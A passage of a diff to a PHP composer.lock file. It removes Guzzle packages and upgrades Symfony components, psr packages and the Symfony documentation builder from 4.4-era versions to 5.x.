+                "symfony/translation-contracts": "^1.1 || ^2.0",
+                "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^6.0",
+                "doctrine/coding-standard": "^8.0",
                 "gajus/dindent": "^2.0.2",
-                "phpstan/phpstan": "^0.10",
-                "phpstan/phpstan-deprecation-rules": "^0.10",
-                "phpstan/phpstan-phpunit": "^0.10",
-                "phpstan/phpstan-strict-rules": "^0.10",
-                "phpunit/phpunit": "^7.0"
+                "phpstan/phpstan": "^0.12",
+                "phpstan/phpstan-deprecation-rules": "^0.12",
+                "phpstan/phpstan-phpunit": "^0.12",
+                "phpstan/phpstan-strict-rules": "^0.12",
+                "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
+                "symfony/css-selector": "4.4 || ^5.2",
+                "symfony/dom-crawler": "4.4 || ^5.2"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -164,234 +169,28 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/master"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.4.4"
             },
-            "time": "2020-10-26T13:37:24+00:00"
-        },
-        {
-            "name": "guzzlehttp/guzzle",
-            "version": "6.5.5",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/guzzle.git",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "shasum": ""
-            },
-            "require": {
-                "ext-json": "*",
-                "guzzlehttp/promises": "^1.0",
-                "guzzlehttp/psr7": "^1.6.1",
-                "php": ">=5.5",
-                "symfony/polyfill-intl-idn": "^1.17.0"
-            },
-            "require-dev": {
-                "ext-curl": "*",
-                "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0",
-                "psr/log": "^1.1"
-            },
-            "suggest": {
-                "psr/log": "Required for using the Log middleware"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "6.5-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle is a PHP HTTP client library",
-            "homepage": "http://guzzlephp.org/",
-            "keywords": [
-                "client",
-                "curl",
-                "framework",
-                "http",
-                "http client",
-                "rest",
-                "web service"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/guzzle/issues",
-                "source": "https://github.com/guzzle/guzzle/tree/6.5"
-            },
-            "time": "2020-06-16T21:01:06+00:00"
-        },
-        {
-            "name": "guzzlehttp/promises",
-            "version": "1.4.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/promises.git",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/promises/zipball/60d379c243457e073cff02bc323a2a86cb355631",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.5"
-            },
-            "require-dev": {
-                "symfony/phpunit-bridge": "^4.4 || ^5.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.4-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Promise\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle promises library",
-            "keywords": [
-                "promise"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/promises/issues",
-                "source": "https://github.com/guzzle/promises/tree/1.4.0"
-            },
-            "time": "2020-09-30T07:37:28+00:00"
-        },
-        {
-            "name": "guzzlehttp/psr7",
-            "version": "1.7.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/psr7.git",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/psr7/zipball/53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.4.0",
-                "psr/http-message": "~1.0",
-                "ralouphie/getallheaders": "^2.0.5 || ^3.0.0"
-            },
-            "provide": {
-                "psr/http-message-implementation": "1.0"
-            },
-            "require-dev": {
-                "ext-zlib": "*",
-                "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10"
-            },
-            "suggest": {
-                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.7-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Psr7\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                },
-                {
-                    "name": "Tobias Schultze",
-                    "homepage": "https://github.com/Tobion"
-                }
-            ],
-            "description": "PSR-7 message implementation that also provides common utility methods",
-            "keywords": [
-                "http",
-                "message",
-                "psr-7",
-                "request",
-                "response",
-                "stream",
-                "uri",
-                "url"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/psr7/issues",
-                "source": "https://github.com/guzzle/psr7/tree/1.7.0"
-            },
-            "time": "2020-09-30T07:37:11+00:00"
+            "time": "2021-10-21T18:44:45+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.0.0",
+            "version": "1.1.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/8622567409010282b7aeebe4bb841fe98b58dcaf",
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.0"
+                "php": ">=7.2.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Psr\\Container\\": "src/"
@@ -404,7 +203,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common Container Interface (PHP FIG PSR-11)",
@@ -418,75 +217,22 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
-                "source": "https://github.com/php-fig/container/tree/master"
-            },
-            "time": "2017-02-14T16:28:37+00:00"
-        },
-        {
-            "name": "psr/http-message",
-            "version": "1.0.1",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/php-fig/http-message.git",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.3.0"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Psr\\Http\\Message\\": "src/"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
-                }
-            ],
-            "description": "Common interface for HTTP messages",
-            "homepage": "https://github.com/php-fig/http-message",
-            "keywords": [
-                "http",
-                "http-message",
-                "psr",
-                "psr-7",
-                "request",
-                "response"
-            ],
-            "support": {
-                "source": "https://github.com/php-fig/http-message/tree/master"
+                "source": "https://github.com/php-fig/container/tree/1.1.1"
             },
-            "time": "2016-08-06T14:39:51+00:00"
+            "time": "2021-03-05T17:36:06+00:00"
         },
         {
             "name": "psr/log",
-            "version": "1.1.3",
+            "version": "1.1.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc"
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11",
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11",
                 "shasum": ""
             },
             "require": {
@@ -510,7 +256,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common interface for logging libraries",
@@ -521,71 +267,26 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/1.1.3"
-            },
-            "time": "2020-03-23T09:12:05+00:00"
-        },
-        {
-            "name": "ralouphie/getallheaders",
-            "version": "3.0.3",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/ralouphie/getallheaders.git",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.6"
-            },
-            "require-dev": {
-                "php-coveralls/php-coveralls": "^2.1",
-                "phpunit/phpunit": "^5 || ^6.5"
-            },
-            "type": "library",
-            "autoload": {
-                "files": [
-                    "src/getallheaders.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Ralph Khattar",
-                    "email": "ralph.khattar@gmail.com"
-                }
-            ],
-            "description": "A polyfill for getallheaders.",
-            "support": {
-                "issues": "https://github.com/ralouphie/getallheaders/issues",
-                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
+                "source": "https://github.com/php-fig/log/tree/1.1.4"
             },
-            "time": "2019-03-08T08:55:37+00:00"
+            "time": "2021-05-03T11:20:27+00:00"
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.3",
+            "version": "v9.18.1.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c"
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6a1699707b099081f20a488ac1f92d682181018c",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6d5049cd2578e19a06adbb6ac77879089be1e3f9",
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9",
                 "shasum": ""
             },
             "require": {
                 "ext-json": "*",
-                "ext-mbstring": "*",
                 "php": ">=5.4"
             },
             "require-dev": {
@@ -595,7 +296,7 @@
                 "symfony/var-dumper": "^2.8|^3.4"
             },
             "suggest": {
-                "ext-dom": "Needed to make use of the features in the utilities namespace"
+                "ext-mbstring": "Allows highlighting code with unicode characters and supports language with unicode keywords"
             },
             "type": "library",
             "autoload": {
@@ -646,46 +347,99 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-10-16T07:43:22+00:00"
+            "time": "2021-10-24T00:28:14+00:00"
+        },
+        {
+            "name": "symfony-tools/docs-builder",
+            "version": "v0.18.2",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony-tools/docs-builder.git",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/53632711147e08782e2be782d5cbe68109c497be",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be",
+                "shasum": ""
+            },
+            "require": {
+                "doctrine/rst-parser": "^0.4",
+                "ext-curl": "*",
+                "ext-json": "*",
+                "php": "^7.2 || ^8.0",
+                "scrivo/highlight.php": "^9.12.0",
+                "symfony/console": "^5.2",
+                "symfony/css-selector": "^5.2",
+                "symfony/dom-crawler": "^5.2",
+                "symfony/filesystem": "^5.2",
+                "symfony/finder": "^5.2",
+                "symfony/http-client": "^5.2",
+                "twig/twig": "^2.14 || ^3.3"
+            },
+            "require-dev": {
+                "gajus/dindent": "^2.0",
+                "symfony/phpunit-bridge": "^5.2",
+                "symfony/process": "^5.2"
+            },
+            "type": "project",
+            "autoload": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\": "src"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "description": "The build system for Symfony's documentation",
+            "support": {
+                "issues": "https://github.com/symfony-tools/docs-builder/issues",
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.2"
+            },
+            "time": "2021-10-15T07:59:06+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v4.4.15",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124"
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
+                "url": "https://api.github.com/repos/symfony/console/zipball/4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php73": "^1.8",
-                "symfony/polyfill-php80": "^1.15",
-                "symfony/service-contracts": "^1.1|^2"
+                "symfony/polyfill-php80": "^1.16",
+                "symfony/service-contracts": "^1.1|^2",
+                "symfony/string": "^5.1|^6.0"
             },
             "conflict": {
-                "symfony/dependency-injection": "<3.4",
-                "symfony/event-dispatcher": "<4.3|>=5",
+                "symfony/dependency-injection": "<4.4",
+                "symfony/dotenv": "<5.1",
+                "symfony/event-dispatcher": "<4.4",
                 "symfony/lock": "<4.4",
-                "symfony/process": "<3.3"
+                "symfony/process": "<4.4"
             },
             "provide": {
-                "psr/log-implementation": "1.0"
+                "psr/log-implementation": "1.0|2.0"
             },
             "require-dev": {
-                "psr/log": "~1.0",
-                "symfony/config": "^3.4|^4.0|^5.0",
-                "symfony/dependency-injection": "^3.4|^4.0|^5.0",
-                "symfony/event-dispatcher": "^4.3",
-                "symfony/lock": "^4.4|^5.0",
-                "symfony/process": "^3.4|^4.0|^5.0",
-                "symfony/var-dumper": "^4.3|^5.0"
+                "psr/log": "^1|^2",
+                "symfony/config": "^4.4|^5.0|^6.0",
+                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
+                "symfony/event-dispatcher": "^4.4|^5.0|^6.0",
+                "symfony/lock": "^4.4|^5.0|^6.0",
+                "symfony/process": "^4.4|^5.0|^6.0",
+                "symfony/var-dumper": "^4.4|^5.0|^6.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -694,11 +448,6 @@
                 "symfony/process": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Console\\": ""
@@ -721,10 +470,16 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Console Component",
+            "description": "Eases the creation of beautiful and testable command line interfaces",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "cli",
+                "command line",
+                "console",
+                "terminal"
+            ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v4.4.15"
+                "source": "https://github.com/symfony/console/tree/5.4"
             },
             "funding": [
                 {
@@ -740,31 +495,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-15T07:58:55+00:00"
+            "time": "2021-11-03T09:24:47+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v4.4.15",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc"
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/7fb120adc7f600a59027775b224c13a33530dd90",
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\CssSelector\\": ""
@@ -791,10 +542,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony CssSelector Component",
+            "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v4.4.15"
+                "source": "https://github.com/symfony/css-selector/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -810,83 +561,107 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-07-05T09:39:30+00:00"
+            "time": "2021-07-21T12:38:00+00:00"
         },
         {
-            "name": "symfony/docs-builder",
-            "version": "dev-master",
+            "name": "symfony/deprecation-contracts",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "e388a6f8cd7a98c34cdc913d18adc9e92ef73441"
+                "url": "https://github.com/symfony/deprecation-contracts.git",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "shasum": ""
             },
             "require": {
-                "doctrine/rst-parser": "dev-master",
-                "ext-curl": "*",
-                "ext-json": "*",
-                "guzzlehttp/guzzle": "~6.0",
-                "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^4.1",
-                "symfony/css-selector": "^4.1",
-                "symfony/dom-crawler": "^4.1",
-                "symfony/filesystem": "^4.1",
-                "symfony/finder": "^4.1",
-                "symfony/http-client": "^4.3",
-                "twig/twig": "^2.7.3"
+                "php": ">=7.1"
             },
-            "require-dev": {
-                "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^4.1",
-                "symfony/process": "^4.2"
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "2.4-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
             },
-            "default-branch": true,
-            "type": "project",
             "autoload": {
-                "psr-4": {
-                    "SymfonyDocsBuilder\\": "src"
-                }
+                "files": [
+                    "function.php"
+                ]
             },
+            "notification-url": "https://packagist.org/downloads/",
             "license": [
                 "MIT"
             ],
-            "description": "The build system for Symfony's documentation",
-            "time": "2020-10-26T22:58:16+00:00"
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "A generic function and convention to trigger deprecation notices",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.4.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v4.4.15",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b"
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.0"
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "^1.16"
             },
             "conflict": {
                 "masterminds/html5": "<2.6"
             },
             "require-dev": {
                 "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^3.4|^4.0|^5.0"
+                "symfony/css-selector": "^4.4|^5.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\DomCrawler\\": ""
@@ -909,10 +684,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony DomCrawler Component",
+            "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.15"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -928,32 +703,28 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-08-29T19:32:13+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v4.4.15",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db"
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/ebc51494739d3b081ea543ed7c462fa73a4f74db",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/343f4fe324383ca46792cae728a3b6e2f708fb32",
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
-                "symfony/polyfill-ctype": "~1.8"
+                "php": ">=7.2.5",
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Filesystem\\": ""
@@ -976,10 +747,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Filesystem Component",
+            "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v4.4.15"
+                "source": "https://github.com/symfony/filesystem/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -995,31 +766,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-27T13:54:16+00:00"
+            "time": "2021-07-21T12:40:44+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v4.4.15",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230"
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/60d08560f9aa72997c44077c40d47aa28a963230",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Finder\\": ""
@@ -1042,10 +809,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Finder Component",
+            "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v4.4.15"
+                "source": "https://github.com/symfony/finder/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -1061,50 +828,52 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-08-04T21:20:46+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v4.4.15",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4"
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/b1cb966898aaf8df37280fde537a27b6724b3bc4",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
-                "psr/log": "^1.0",
-                "symfony/http-client-contracts": "^1.1.10|^2",
+                "php": ">=7.2.5",
+                "psr/log": "^1|^2|^3",
+                "symfony/deprecation-contracts": "^2.1",
+                "symfony/http-client-contracts": "^2.4",
                 "symfony/polyfill-php73": "^1.11",
+                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.0|^2"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "1.1"
+                "symfony/http-client-implementation": "2.4"
             },
             "require-dev": {
-                "guzzlehttp/promises": "^1.3.1",
+                "amphp/amp": "^2.5",
+                "amphp/http-client": "^4.2.1",
+                "amphp/http-tunnel": "^1.0",
+                "amphp/socket": "^1.1",
+                "guzzlehttp/promises": "^1.4",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.3|^5.0",
-                "symfony/http-kernel": "^4.4.13",
-                "symfony/process": "^4.2|^5.0"
+                "symfony/dependency-injection": "^4.4|^5.0",
+                "symfony/http-kernel": "^4.4.13|^5.1.5",
+                "symfony/process": "^4.4|^5.0",
+                "symfony/stopwatch": "^4.4|^5.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\HttpClient\\": ""
@@ -1127,10 +896,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony HttpClient component",
+            "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v4.4.15"
